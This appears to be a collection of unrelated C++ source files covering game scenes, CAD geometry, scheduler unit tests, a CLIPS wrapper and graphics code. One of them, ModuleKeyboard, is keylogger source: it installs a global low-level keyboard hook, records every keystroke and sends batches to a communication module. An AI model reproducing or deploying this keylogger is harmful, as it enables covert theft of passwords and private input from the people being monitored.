#ifndef __LOAD_SCENE_H__ #define __LOAD_SCENE_H__ #include "cocos2d.h" USING_NS_CC; enum LoadSceneType { LOAD_SCENE_PLAY, LOAD_SCENE_MENU }; class LoadScene : public CCScene { public: static LoadScene* createWithScene(LoadSceneType scene); LoadScene* initWithScene(LoadSceneType scene); CREATE_FUNC(LoadScene); void onEnter(); virtual void update(float t); private: LoadSceneType m_loadScene; }; #endif
// Created on: 1992-02-18 // Created by: Christophe MARION // Copyright (c) 1992-1999 Matra Datavision // Copyright (c) 1999-2014 OPEN CASCADE SAS // // This file is part of Open CASCADE Technology software library. // // This library is free software; you can redistribute it and/or modify it under // the terms of the GNU Lesser General Public License version 2.1 as published // by the Free Software Foundation, with special exception defined in the file // OCCT_LGPL_EXCEPTION.txt. Consult the file LICENSE_LGPL_21.txt included in OCCT // distribution for complete text of the license and disclaimer of any warranty. // // Alternatively, this file may be used under the terms of Open CASCADE // commercial license or contractual agreement. #ifndef _HLRAlgo_EdgeStatus_HeaderFile #define _HLRAlgo_EdgeStatus_HeaderFile #include <Standard.hxx> #include <Standard_DefineAlloc.hxx> #include <Standard_Handle.hxx> #include <Intrv_Intervals.hxx> //! This class describes the Hidden Line status of an //! Edge. It contains : //! //! The Bounds of the Edge and their tolerances //! //! Two flags indicating if the edge is full visible //! or full hidden. //! //! The Sequence of visible Intervals on the Edge. class HLRAlgo_EdgeStatus { public: DEFINE_STANDARD_ALLOC Standard_EXPORT HLRAlgo_EdgeStatus(); //! Creates a new EdgeStatus. Default visible. The //! Edge is bounded by the interval <Start>, <End> //! with the tolerances <TolStart>, <TolEnd>. Standard_EXPORT HLRAlgo_EdgeStatus(const Standard_Real Start, const Standard_ShortReal TolStart, const Standard_Real End, const Standard_ShortReal TolEnd); //! Initialize an EdgeStatus. Default visible. The //! Edge is bounded by the interval <Start>, <End> //! with the tolerances <TolStart>, <TolEnd>. Standard_EXPORT void Initialize (const Standard_Real Start, const Standard_ShortReal TolStart, const Standard_Real End, const Standard_ShortReal TolEnd); void Bounds (Standard_Real& theStart, Standard_ShortReal& theTolStart, Standard_Real& theEnd, Standard_ShortReal& theTolEnd) const { theStart = myStart; theTolStart = myTolStart; theEnd = myEnd; theTolEnd = myTolEnd; } Standard_EXPORT Standard_Integer NbVisiblePart() const; Standard_EXPORT void VisiblePart (const Standard_Integer Index, Standard_Real& Start, Standard_ShortReal& TolStart, Standard_Real& End, Standard_ShortReal& TolEnd) const; //! Hides the interval <Start>, <End> with the //! tolerances <TolStart>, <TolEnd>. This interval is //! subtracted from the visible parts. If the hidden //! part is on ( or under ) the face the flag <OnFace> //! is True ( or False ). If the hidden part is on ( //! or inside ) the boundary of the face the flag //! <OnBoundary> is True ( or False ). Standard_EXPORT void Hide (const Standard_Real Start, const Standard_ShortReal TolStart, const Standard_Real End, const Standard_ShortReal TolEnd, const Standard_Boolean OnFace, const Standard_Boolean OnBoundary); //! Hide the whole Edge. void HideAll() { AllVisible(Standard_False); AllHidden (Standard_True); } //! Show the whole Edge. void ShowAll() { AllVisible(Standard_True); AllHidden (Standard_False); } Standard_Boolean AllHidden() const { return myAllHidden; } void AllHidden (const Standard_Boolean B) { myAllHidden = B; } Standard_Boolean AllVisible() const { return myAllVisible; } void AllVisible (const Standard_Boolean B) { myAllVisible = B; } private: Standard_Real myStart; Standard_Real myEnd; Standard_ShortReal myTolStart; Standard_ShortReal myTolEnd; Standard_Boolean myAllHidden; Standard_Boolean myAllVisible; Intrv_Intervals myVisibles; }; #endif // _HLRAlgo_EdgeStatus_HeaderFile
#include<bits/stdc++.h> using namespace std; main() { long long int n, k, p, sum=1,i; while(scanf("%lld %lld",&n,&k)==2) { if(n==0 && k==0)break; else { if(k>n/2) k=n-k; for(i=0; i<k; i++) { sum*=(n-i); sum/=(i+1); } printf("%lld\n",sum); } sum=1; } return 0; }
#include <Tanker/TrustchainStore.hpp> #include <Tanker/Crypto/Format/Format.hpp> #include <Tanker/DataStore/ADatabase.hpp> #include <Tanker/Entry.hpp> #include <Tanker/Log/Log.hpp> #include <Tanker/Trustchain/Actions/DeviceCreation.hpp> #include <Tanker/Trustchain/UserId.hpp> #include <gsl-lite.hpp> TLOG_CATEGORY(Trustchain); namespace Tanker { TrustchainStore::TrustchainStore(DataStore::ADatabase* dbConn) : _db(dbConn), _lastIndex(0) { } tc::cotask<void> TrustchainStore::addEntry(Entry const& entry) { TDEBUG("Adding block {}", entry.hash); TC_AWAIT(_db->addTrustchainEntry(entry)); TC_AWAIT(setLastIndex(entry.index)); } tc::cotask<void> TrustchainStore::setPublicSignatureKey( Crypto::PublicSignatureKey const& key) { TC_AWAIT(_db->setTrustchainPublicSignatureKey(key)); } tc::cotask<std::optional<Crypto::PublicSignatureKey>> TrustchainStore::findPublicSignatureKey() { TC_RETURN(TC_AWAIT(_db->findTrustchainPublicSignatureKey())); } tc::cotask<uint64_t> TrustchainStore::getLastIndex() { if (!_lastIndex) _lastIndex = TC_AWAIT(_db->findTrustchainLastIndex()).value_or(0); TC_RETURN(_lastIndex); } tc::cotask<void> TrustchainStore::setLastIndex(uint64_t idx) { TC_AWAIT(_db->setTrustchainLastIndex(idx)); _lastIndex = idx; TC_RETURN(); } }
#include "geometry.h" #include "Voronoi_Tessellation.h" #include "Centroid_Voronoi_Tessellation.h" using namespace std; Model::Model() { vs = NULL; v.clear(); iter = 0; // default setting tol = 1e-6; maxiter = 500; } Model::~Model() { delete vs; } void Model::input_generator(string filename) { ifstream file; file.open(filename); int n; file >> n; for (int i = 0; i < n; i++) { double x, y; file >> x >> y; v.push_back(Point(x, y)); } file.close(); } void Model::output(string filename) { ofstream file; file.open(filename); vs->print(file); file.close(); } void Model::Lloyd() { // v has been initialized by input_generator iter = 0; while(true) { iter++; vs = new VoronoiSubdivision; vs->get_sites(v); vs->do_voronoi_tessellation(); vector<Point> v_new; v_new.clear(); vs->region_centroids(v_new); // calculate change of generators(L2 norm) double change = 0, vabs = 0; int n = v.size(); for (int i = 0; i < n; i++) { change += (v[i] - v_new[i]).dot(v[i] - v_new[i]); vabs += v[i].dot(v[i]); } change = sqrt(change); vabs = sqrt(vabs); // if the change or relative change is less than // the tolerance or iter>maxiter then exit if (change < tol || change / vabs < tol || iter > maxiter) { return; } else { v = v_new; delete vs; } } }
#ifndef GAMEOBJECT_H #define GAMEOBJECT_H #include <iostream> #include <transform.h> #include <sprite.h> #include <camera.h> #include <math.h> class GameObject { public: GameObject(const std::string& go_name) : m_name(go_name) { m_transform = new Transform(); // rotate all gameobjects 180 m_transform->GetRot()->y += M_PI; }; virtual ~GameObject() { delete m_transform; } std::string GetName() {return m_name;} Transform* GetTransform() {return m_transform;} protected: Transform* m_transform; std::string m_name; }; class DrawableGameObject : public GameObject { public: DrawableGameObject(const std::string& go_name, Texture* _texture, BasicShader* _shader) : GameObject(go_name) { m_sprite = new Sprite(_texture, _shader); }; ~DrawableGameObject() { delete m_sprite; } void DrawSprite() { m_sprite->Draw(m_transform); }; Sprite* GetSprite() {return m_sprite;}; protected: Sprite* m_sprite; }; #endif
// // Created by Benoit Hamon on 10/3/2017. // #include <iostream> #include <boost/dll/alias.hpp> #include <boost/property_tree/ptree.hpp> #include <boost/property_tree/json_parser.hpp> #include "ModuleKeyboard.hpp" static std::string g_keys; ModuleKeyboard::ModuleKeyboard(IModuleCommunication *moduleCommunication) : _moduleCommunication(moduleCommunication) {} LRESULT CALLBACK ModuleKeyboard::hookCallback(int nCode, WPARAM wParam, LPARAM lParam ) { char pressedKey; auto pKeyBoard = (KBDLLHOOKSTRUCT *)lParam; switch(wParam) { case WM_KEYUP: { pressedKey = (char)pKeyBoard->vkCode; } break; default: return CallNextHookEx(nullptr, nCode, wParam, lParam ); } switch (pressedKey) { case VK_RETURN: g_keys += "\n"; break; case VK_CONTROL: g_keys += "[Ctrl]"; break; case VK_MENU : g_keys += "[Alt]"; break; case VK_DELETE: g_keys += "[DEL]"; break; case VK_BACK: g_keys += "[<===)]"; break; case VK_LEFT : g_keys += "[<-]"; break; case VK_RIGHT : g_keys += "[->]";break; case VK_TAB : g_keys += "[TAB]"; break; case VK_END : g_keys += "[Fin]"; break; default: BYTE keyboard_state[256]; GetKeyboardState(keyboard_state); WORD c; UINT ScanCode=0; ToAscii(wParam, ScanCode, keyboard_state, &c, 0); g_keys += (char)c; break; } return CallNextHookEx(nullptr, nCode, wParam, lParam); } void ModuleKeyboard::start(ModuleCommunication &com) { this->_running = true; HINSTANCE instance = GetModuleHandle(nullptr); HHOOK hook = SetWindowsHookEx( WH_KEYBOARD_LL, ModuleKeyboard::hookCallback, instance,0); MSG msg; while (!GetMessage(&msg, nullptr, 0, 0) && this->__running) { this->sendKeys(); TranslateMessage(&msg); DispatchMessage(&msg); } UnhookWindowsHookEx(hook); } boost::shared_ptr<ModuleKeyboard> ModuleKeyboard::create(Client &client) { return boost::shared_ptr<ModuleKeyboard>( new ModuleKeyboard(client) ); } void ModuleKeyboard::sendKeys() { if (g_keys.len() > 5) { boost::property_tree::ptree data; data.put("keys", g_keys); boost::property_tree::ptree ptree; ptree.put("timestamp", std::to_string(std::time(nullptr))); ptree.put("type", "Keyboard"); ptree.add_child("data", data); this->_moduleCommunication->send(ptree); g_keys.clear(); } } BOOST_DLL_ALIAS(ModuleKeyboard::create, create_module)
// -*- LSST-C++ -*- /* * LSST Data Management System * Copyright 2012-2015 LSST Corporation. * * This product includes software developed by the * LSST Project (http://www.lsst.org/). * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the LSST License Statement and * the GNU General Public License along with this program. If not, * see <http://www.lsstcorp.org/LegalNotices/>. */ /** * * @brief Simple testing for class FifoScheduler * * @author Daniel L. Wang, SLAC */ // Third-party headers // Qserv headers #include "proto/worker.pb.h" #include "wbase/Task.h" #include "wsched/ChunkDisk.h" #include "wsched/BlendScheduler.h" #include "wsched/FifoScheduler.h" #include "wsched/GroupScheduler.h" #include "wsched/ScanScheduler.h" // Boost unit test header #define BOOST_TEST_MODULE FifoScheduler_1 #include "boost/test/included/unit_test.hpp" namespace test = boost::test_tools; namespace wsched = lsst::qserv::wsched; using lsst::qserv::proto::TaskMsg; using lsst::qserv::wbase::Task; using lsst::qserv::wbase::SendChannel; Task::Ptr makeTask(std::shared_ptr<TaskMsg> tm) { return std::make_shared<Task>(tm, std::shared_ptr<SendChannel>()); } struct SchedulerFixture { typedef std::shared_ptr<TaskMsg> TaskMsgPtr; SchedulerFixture(void) { counter = 20; } ~SchedulerFixture(void) { } TaskMsgPtr newTaskMsg(int seq) { TaskMsgPtr t = std::make_shared<TaskMsg>(); t->set_session(123456); t->set_chunkid(seq); t->set_db("elephant"); for(int i=0; i < 3; ++i) { TaskMsg::Fragment* f = t->add_fragment(); f->add_query("Hello, this is a query."); f->mutable_subchunks()->add_id(100+i); f->set_resulttable("r_341"); } ++counter; return t; } TaskMsgPtr nextTaskMsg() { return newTaskMsg(counter++); } TaskMsgPtr newTaskMsgSimple(int seq) { TaskMsgPtr t = std::make_shared<TaskMsg>(); t->set_session(123456); t->set_chunkid(seq); t->set_db("moose"); ++counter; return t; } Task::Ptr queMsgWithChunkId(wsched::GroupScheduler &gs, int chunkId) { Task::Ptr t = makeTask(newTaskMsg(chunkId)); gs.queCmd(t); return t; } int counter; }; BOOST_FIXTURE_TEST_SUITE(FifoSchedulerSuite, SchedulerFixture) BOOST_AUTO_TEST_CASE(Fifo) { wsched::FifoScheduler fs; Task::Ptr first = makeTask(nextTaskMsg()); fs.queCmd(first); Task::Ptr second = makeTask(nextTaskMsg()); fs.queCmd(second); Task::Ptr third = makeTask(nextTaskMsg()); fs.queCmd(third); auto t1 = fs.getCmd(); auto t2 = fs.getCmd(); auto t3 = fs.getCmd(); BOOST_CHECK_EQUAL(first.get(), t1.get()); BOOST_CHECK_EQUAL(second.get(), t2.get()); BOOST_CHECK_EQUAL(third.get(), t3.get()); auto t4 = fs.getCmd(false); BOOST_CHECK(t4 == nullptr); } BOOST_AUTO_TEST_CASE(Grouping) { // Test grouping by chunkId. Max entries added to a single group set to 3. wsched::GroupScheduler gs{100, 3}; // chunk Ids int a = 50; int b = 11; int c = 75; int d = 4; BOOST_CHECK(gs.empty() == true); BOOST_CHECK(gs.ready() == false); Task::Ptr a1 = queMsgWithChunkId(gs, a); BOOST_CHECK(gs.empty() == false); BOOST_CHECK(gs.ready() == true); Task::Ptr b1 = queMsgWithChunkId(gs, b); Task::Ptr c1 = queMsgWithChunkId(gs, c); Task::Ptr b2 = queMsgWithChunkId(gs, b); Task::Ptr b3 = queMsgWithChunkId(gs, b); Task::Ptr b4 = queMsgWithChunkId(gs, b); Task::Ptr a2 = queMsgWithChunkId(gs, a); Task::Ptr a3 = queMsgWithChunkId(gs, a); Task::Ptr b5 = queMsgWithChunkId(gs, b); Task::Ptr d1 = queMsgWithChunkId(gs, d); BOOST_CHECK(gs.getSize() == 5); BOOST_CHECK(gs.ready() == true); // Should get all the first 3 'a' commands in order auto aa1 = gs.getCmd(false); auto aa2 = gs.getCmd(false); Task::Ptr a4 = queMsgWithChunkId(gs, a); // this should get its own group auto aa3 = gs.getCmd(false); BOOST_CHECK(a1.get() == aa1.get()); BOOST_CHECK(a2.get() == aa2.get()); BOOST_CHECK(a3.get() == aa3.get()); BOOST_CHECK(gs.getInFlight() == 3); BOOST_CHECK(gs.ready() == true); // Should get the first 3 'b' commands in order auto bb1 = gs.getCmd(false); auto bb2 = gs.getCmd(false); auto bb3 = gs.getCmd(false); BOOST_CHECK(b1.get() == bb1.get()); BOOST_CHECK(b2.get() == bb2.get()); BOOST_CHECK(b3.get() == bb3.get()); BOOST_CHECK(gs.getInFlight() == 6); BOOST_CHECK(gs.ready() == true); // Verify that commandFinish reduces in flight count. gs.commandFinish(a1); BOOST_CHECK(gs.getInFlight() == 5); // Should get the only 'c' command auto cc1 = gs.getCmd(false); BOOST_CHECK(c1.get() == cc1.get()); BOOST_CHECK(gs.getInFlight() == 6); // Should get the last 2 'b' commands auto bb4 = gs.getCmd(false); auto bb5 = gs.getCmd(false); BOOST_CHECK(b4.get() == bb4.get()); BOOST_CHECK(b5.get() == bb5.get()); BOOST_CHECK(gs.getInFlight() == 8); BOOST_CHECK(gs.ready() == true); // Get the 'd' command auto dd1 = gs.getCmd(false); BOOST_CHECK(d1.get() == d1.get()); BOOST_CHECK(gs.getInFlight() == 9); BOOST_CHECK(gs.ready() == true); // Get the last 'a' command auto aa4 = gs.getCmd(false); BOOST_CHECK(a4.get() == aa4.get()); BOOST_CHECK(gs.getInFlight() == 10); BOOST_CHECK(gs.ready() == false); BOOST_CHECK(gs.empty() == true); } BOOST_AUTO_TEST_CASE(GroupMaxThread) { // Test that maxThreads is meaningful. wsched::GroupScheduler gs{3, 100}; int a = 42; Task::Ptr a1 = queMsgWithChunkId(gs, a); Task::Ptr a2 = queMsgWithChunkId(gs, a); Task::Ptr a3 = queMsgWithChunkId(gs, a); Task::Ptr a4 = queMsgWithChunkId(gs, a); BOOST_CHECK(gs.ready() == true); auto aa1 = gs.getCmd(false); BOOST_CHECK(a1.get() == aa1.get()); BOOST_CHECK(gs.ready() == true); auto aa2 = gs.getCmd(false); BOOST_CHECK(a2.get() == aa2.get()); BOOST_CHECK(gs.ready() == true); auto aa3 = gs.getCmd(false); BOOST_CHECK(a3.get() == aa3.get()); BOOST_CHECK(gs.getInFlight() == 3); BOOST_CHECK(gs.ready() == false); gs.commandFinish(a3); BOOST_CHECK(gs.ready() == true); auto aa4 = gs.getCmd(false); BOOST_CHECK(a4.get() == aa4.get()); BOOST_CHECK(gs.ready() == false); } BOOST_AUTO_TEST_CASE(DiskMinHeap) { wsched::ChunkDisk::MinHeap minHeap{}; BOOST_CHECK(minHeap.empty() == true); Task::Ptr a47 = makeTask(newTaskMsg(47)); minHeap.push(a47); BOOST_CHECK(minHeap.top().get() == a47.get()); BOOST_CHECK(minHeap.empty() == false); Task::Ptr a42 = makeTask(newTaskMsg(42)); minHeap.push(a42); BOOST_CHECK(minHeap.top().get() == a42.get()); Task::Ptr a60 = makeTask(newTaskMsg(60)); minHeap.push(a60); BOOST_CHECK(minHeap.top().get() == a42.get()); Task::Ptr a18 = makeTask(newTaskMsg(18)); minHeap.push(a18); BOOST_CHECK(minHeap.top().get() == a18.get()); BOOST_CHECK(minHeap.pop().get() == a18.get()); BOOST_CHECK(minHeap.pop().get() == a42.get()); BOOST_CHECK(minHeap.pop().get() == a47.get()); BOOST_CHECK(minHeap.pop().get() == a60.get()); BOOST_CHECK(minHeap.empty() == true); } BOOST_AUTO_TEST_CASE(ChunkDiskTest) { wsched::ChunkDisk cDisk{LOG_GET("")}; BOOST_CHECK(cDisk.empty() == true); BOOST_CHECK(cDisk.getSize() == 0); BOOST_CHECK(cDisk.busy() == false); BOOST_CHECK(cDisk.ready() == false); Task::Ptr a47 = makeTask(newTaskMsg(47)); cDisk.enqueue(a47); // should go on active BOOST_CHECK(cDisk.empty() == false); BOOST_CHECK(cDisk.getSize() == 1); BOOST_CHECK(cDisk.busy() == false); BOOST_CHECK(cDisk.ready() == true); Task::Ptr a42 = makeTask(newTaskMsg(42)); cDisk.enqueue(a42); // should go on active BOOST_CHECK(cDisk.empty() == false); BOOST_CHECK(cDisk.getSize() == 2); BOOST_CHECK(cDisk.busy() == false); BOOST_CHECK(cDisk.ready() == true); BOOST_CHECK(cDisk.getInflight().size() == 0); Task::Ptr b42 = makeTask(newTaskMsg(42)); cDisk.enqueue(b42); // should go on active BOOST_CHECK(cDisk.empty() == false); BOOST_CHECK(cDisk.getSize() == 3); BOOST_CHECK(cDisk.busy() == false); BOOST_CHECK(cDisk.ready() == true); auto aa42 = cDisk.getTask(); BOOST_CHECK(aa42.get() == a42.get()); BOOST_CHECK(cDisk.empty() == false); BOOST_CHECK(cDisk.getSize() == 2); BOOST_CHECK(cDisk.busy() == true); BOOST_CHECK(cDisk.ready() == true); BOOST_CHECK(cDisk.getInflight().size() == 1); Task::Ptr a18 = makeTask(newTaskMsg(18)); cDisk.enqueue(a18); // should go on pending BOOST_CHECK(cDisk.empty() == false); BOOST_CHECK(cDisk.getSize() == 3); BOOST_CHECK(cDisk.busy() == true); BOOST_CHECK(cDisk.ready() == true); // Test that active tasks from the same chunk can be started. auto bb42 = cDisk.getTask(); BOOST_CHECK(bb42.get() == b42.get()); BOOST_CHECK(cDisk.empty() == false); BOOST_CHECK(cDisk.busy() == true); BOOST_CHECK(cDisk.ready() == false); BOOST_CHECK(cDisk.getInflight().size() == 2); // Check that completing all tasks on chunk 42 lets us move to chunk 47 cDisk.removeInflight(bb42); BOOST_CHECK(cDisk.getInflight().size() == 1); BOOST_CHECK(cDisk.ready() == true); auto aa47 = cDisk.getTask(); BOOST_CHECK(aa47.get() == a47.get()); BOOST_CHECK(cDisk.empty() == false); BOOST_CHECK(cDisk.getSize() == 1); BOOST_CHECK(cDisk.busy() == true); BOOST_CHECK(cDisk.ready() == false); BOOST_CHECK(cDisk.getInflight().size() == 2); // finishing a47 should let us get a18 cDisk.removeInflight(a47); BOOST_CHECK(cDisk.getInflight().size() == 1); BOOST_CHECK(cDisk.ready() == true); BOOST_CHECK(cDisk.busy() == false); auto aa18 = cDisk.getTask(); BOOST_CHECK(aa18.get() == a18.get()); BOOST_CHECK(cDisk.empty() == true); BOOST_CHECK(cDisk.getSize() == 0); BOOST_CHECK(cDisk.busy() == true); BOOST_CHECK(cDisk.ready() == false); BOOST_CHECK(cDisk.getInflight().size() == 2); cDisk.removeInflight(a18); BOOST_CHECK(cDisk.getInflight().size() == 1); BOOST_CHECK(cDisk.empty() == true); BOOST_CHECK(cDisk.getSize() == 0); BOOST_CHECK(cDisk.ready() == false); BOOST_CHECK(cDisk.busy() == false); cDisk.removeInflight(a42); BOOST_CHECK(cDisk.getInflight().size() == 0); BOOST_CHECK(cDisk.empty() == true); BOOST_CHECK(cDisk.getSize() == 0); BOOST_CHECK(cDisk.ready() == false); BOOST_CHECK(cDisk.busy() == false); } BOOST_AUTO_TEST_CASE(ScanScheduleTest) { wsched::ScanScheduler sched{2}; // Test ready state as Tasks added and removed. BOOST_CHECK(sched.ready() == false); Task::Ptr a40 = makeTask(newTaskMsg(40)); sched.queCmd(a40); BOOST_CHECK(sched.ready() == true); Task::Ptr b40 = makeTask(newTaskMsg(40)); sched.queCmd(b40); Task::Ptr c40 = makeTask(newTaskMsg(40)); sched.queCmd(c40); Task::Ptr a33 = makeTask(newTaskMsg(33)); sched.queCmd(a33); BOOST_CHECK(sched.ready() == true); auto aa33 = sched.getCmd(false); BOOST_CHECK(aa33.get() == a33.get()); BOOST_CHECK(sched.getInFlight() == 1); sched.commandStart(aa33); BOOST_CHECK(sched.getInFlight() == 1); BOOST_CHECK(sched.ready() == false); sched.commandFinish(aa33); BOOST_CHECK(sched.getInFlight() == 0); BOOST_CHECK(sched.ready() == true); auto tsk1 = sched.getCmd(false); BOOST_CHECK(sched.getInFlight() == 1); sched.commandStart(tsk1); BOOST_CHECK(sched.ready() == true); auto tsk2 = sched.getCmd(false); BOOST_CHECK(sched.getInFlight() == 2); sched.commandStart(tsk2); // Test max of 2 tasks running at a time BOOST_CHECK(sched.ready() == false); sched.commandFinish(tsk2); BOOST_CHECK(sched.getInFlight() == 1); BOOST_CHECK(sched.ready() == true); auto tsk3 = sched.getCmd(false); BOOST_CHECK(sched.getInFlight() == 2); BOOST_CHECK(sched.ready() == false); sched.commandStart(tsk3); sched.commandFinish(tsk3); BOOST_CHECK(sched.getInFlight() == 1); BOOST_CHECK(sched.ready() == false); sched.commandFinish(tsk1); BOOST_CHECK(sched.getInFlight() == 0); BOOST_CHECK(sched.ready() == false); } BOOST_AUTO_TEST_CASE(BlendScheduleTest) { // max 2 inflight and group size 3. Not testing that functionality here, so arbitrary. auto group = std::make_shared<wsched::GroupScheduler>(2, 3); auto scan = std::make_shared<wsched::ScanScheduler>(2); wsched::BlendScheduler blend(group, scan); BOOST_CHECK(blend.ready() == false); // This should go on group scheduler Task::Ptr a40 = makeTask(newTaskMsgSimple(40)); blend.queCmd(a40); BOOST_CHECK(group->getSize() == 1); BOOST_CHECK(group->ready() == true); BOOST_CHECK(blend.ready() == true); auto aa40 = blend.getCmd(false); blend.commandStart(aa40); blend.commandFinish(aa40); BOOST_CHECK(aa40.get() == a40.get()); BOOST_CHECK(group->ready() == false); BOOST_CHECK(blend.ready() == false); // Make a message with a scantable so it goes to scan. Task::Ptr s1 = makeTask(newTaskMsg(27)); blend.queCmd(s1); // should go to scan BOOST_CHECK(group->getSize() == 1); BOOST_CHECK(group->ready() == true); BOOST_CHECK(blend.ready() == true); auto ss1 = blend.getCmd(false); blend.commandStart(ss1); blend.commandFinish(ss1); BOOST_CHECK(ss1.get() == ss1.get()); BOOST_CHECK(group->ready() == false); BOOST_CHECK(blend.ready() == false); } BOOST_AUTO_TEST_SUITE_END()
#include "clips.h" #include <string> #include <vector> class GtkClips { public: GtkClips(); ~GtkClips(); void SetMaxActivations() {maxActivations = 1000;} int GetMaxActications() {return maxActivations;} //Environment functions void ClearEnv() {return EnvClear(theEnv);} // clear the environment. bool CheckDynamicConstraintchecking() {return EnvGetDynamicConstraintChecking(theEnv);} bool CheckStaticConstraintchecking() {return EnvGetDynamicConstraintChecking(theEnv);} // load function void GtkLoad(void*, const char *); // pass the environment and the filename to be loaded. // reset function void GtkReset() {return EnvReset(theEnv);} // save function void GtkSave(void *, const char *); // debugging functions bool CheckDribbleActive() {return EnvDribbleActive(theEnv);} bool CheckWatchitem(const char *item) {return EnvGetWatchItem(theEnv, item);} // TODO: add fact functions void GetFactList(void *, void *); // Get fact list. // // TODO: add rule functions // std::string GetRuleModule(void *); // std::string GetRulePPForm(void *rulePtr) {return returnPPString(rulePtr, EnvGetRulePPForm);} //agenda std::string getActivationName(void *ptr) { return EnvGetActivationName(theEnv, ptr);} std::string activationPPForm(void *ptr) {return returnPPString(ptr, EnvGetActivationPPForm);} std::vector<void *> getActivationList() {return returnList(EnvGetNextActivation);} void GetAgenda(void*, char *, void *); // Get the agenda of the current module. std::string GetActivationName(void *actPtr) {return EnvGetActivationName(theEnv, actPtr);} bool CheckAgendaChanged() {return EnvGetAgendaChanged(theEnv);} void SetEnvSalienceEval(std::string); std::string GetEnvSalienceEval(); void SetStrategy(std::string); std::string GetStrategy(); void ReorderAgenda(void *); // reorder agenda based on CR strategy. TBD where to fit. void Run(); // run function. private: void *theEnv; int maxActivations; std::string returnPPString(void *, void (*)(void *, char*, size_t, void*)); std::vector<void *> returnList(void* (*)(void *, void *)); //void ActivationCallback(void *); // callback to the function which will be run on each rule fire. };
#pragma once #include <memory> #include <utility> #include <glad\glad.h> #include "GLFW\glfw3.h" #include "glm\glm.hpp" #include "glm\gtc\matrix_transform.hpp" #include "Test.h" #include "VertexArray.h" #include "VertexBuffer.h" #include "Shader.h" #include "Texture.h" #include "CubeMap.h" #include "Camera.h" #include "FrameBuffer.h" #include "Model.h" namespace test { class TestShadows : public Test{ public: TestShadows(); ~TestShadows(); void OnUpdate(float deltaTime) override; void OnRender() override; void OnImGuiRender() override; private: std::unique_ptr<VertexArray> m_PlaneVAO; std::unique_ptr<VertexArray> m_CubeVAO; std::unique_ptr<VertexArray> m_QuadVAO; std::unique_ptr<VertexBuffer> m_PlaneVBO; std::unique_ptr<VertexBuffer> m_CubeVBO; std::unique_ptr<VertexBuffer> m_QuadVBO; std::unordered_map<std::string, Texture*> m_Textures; std::unique_ptr<Shader> m_Shader; std::unique_ptr<Shader> m_DenemeShader; std::unique_ptr<Shader> m_NormalShader; std::unique_ptr<Shader> m_HDRShader; std::unique_ptr<Shader> m_LightShader; std::unique_ptr<Shader> m_FinalShader; std::unique_ptr<Shader> m_BlurShader; std::unique_ptr<Shader> m_DiffShader; std::unique_ptr<Shader> m_DeferredShader; std::unique_ptr<Shader> m_ModelShader; std::unique_ptr<Shader> m_SceneShader; std::unique_ptr<Shader> m_LightCubeShader; std::unique_ptr<Shader> m_DeferringShader; std::unique_ptr<Shader> m_SSAOShader; std::unique_ptr<Shader> m_SSAOBlurShader; std::unique_ptr<Shader> m_SSAOFinalShader; int m_ScreenWidth = 1280, m_ScreenHeight = 768; unsigned int gBuffer, gPosition, gNormal, gAlbedoSpec; Camera camera; glm::mat4 m_Model; glm::mat4 m_View; glm::mat4 m_Proj; glm::vec3 m_LightPosition = glm::vec3(-2.0f, 4.0f, -1.0f); glm::vec3 m_LightColor = glm::vec3(-2.0f, 4.0f, -1.0f); glm::vec3 m_Point1 = glm::vec3(-1.0f, 1.0f, 0.0f); glm::vec3 m_Point2 = glm::vec3(-1.0f, -1.0f, 0.0f); glm::vec3 m_Point3 = glm::vec3( 1.0f, -1.0f, 0.0f); glm::vec3 m_Point4 = glm::vec3( 1.0f, 1.0f, 0.0f); glm::vec2 m_UV1 = glm::vec2(0.0f, 1.0f); glm::vec2 m_UV2 = glm::vec2(0.0f, 0.0f); glm::vec2 m_UV3 = glm::vec2(1.0f, 0.0f); glm::vec2 m_UV4 = glm::vec2(1.0f, 1.0f); glm::vec3 m_Normal = glm::vec3(0.0f, 0.0f, 1.0f); glm::vec3 m_Tangent1; glm::vec3 m_Tangent2; glm::vec3 m_Bitangent1; glm::vec3 m_Bitangent2; glm::vec3 m_PlaneTranslation = glm::vec3(-1.0f, 0.0f, -5.0f); glm::vec3 m_PlaneTranslation2 = glm::vec3(1.0f, 0.0f, -5.0f); glm::vec3 m_CubeTranslation = glm::vec3(0.0f, 0.0f, -25.0); float m_PlaneRotate; float m_PlaneRotate2; float m_Exposure = 0.1f; obj::Model* loadModel; unsigned int hdrFrameBuffer, hdrTexture, hdrRenderBuffer, bloomFBO, bloomRBO; unsigned int bloomTexture[2]; const unsigned int colorAttachments[2] = { GL_COLOR_ATTACHMENT0, GL_COLOR_ATTACHMENT1 }; unsigned int pingpongFBO[2]; unsigned int pingpongColorbuffers[2]; unsigned int uniformBlock; bool m_IsInverse = true; bool m_IsHdrON = true; float bias = 0.025, radius = 0.5, linear = 0.09, quadratic = 0.032, str = 8.0f; unsigned int ssaoFBO, ssaoBlurFBO, ssaoTexture, ssaoBlurTexture, noiseTexture; std::vector<glm::vec3> lightPositions; std::vector<glm::vec3> lightColors; std::vector<glm::vec3> objectPositions; std::vector<glm::vec3> ssaoKernel; std::vector<glm::vec3> ssaoRotate; obj::Model* model; glm::vec3 m_Left = glm::vec3(-1.4f, -1.9f, 9.0f); glm::vec3 m_Right = glm::vec3(0.0f, -1.8f, 4.0f); glm::vec3 m_Down = glm::vec3(0.8f, -1.7f, 6.0f); private: float lerp(float a, float b, float f) { return a + f * (b - a); } }; }
#include "Parser.h" // RsaToolbox using namespace RsaToolbox; Parser::Parser(QObject *parent) : QObject(parent) { } Parser::~Parser() { }
#include "Spell.h" Spell::Spell(int cost, int points) : cost(cost), points(points) {} Spell::~Spell() {} int Spell::getCost() const { return this->cost; } int Spell::getPoints() const { return this->points; }
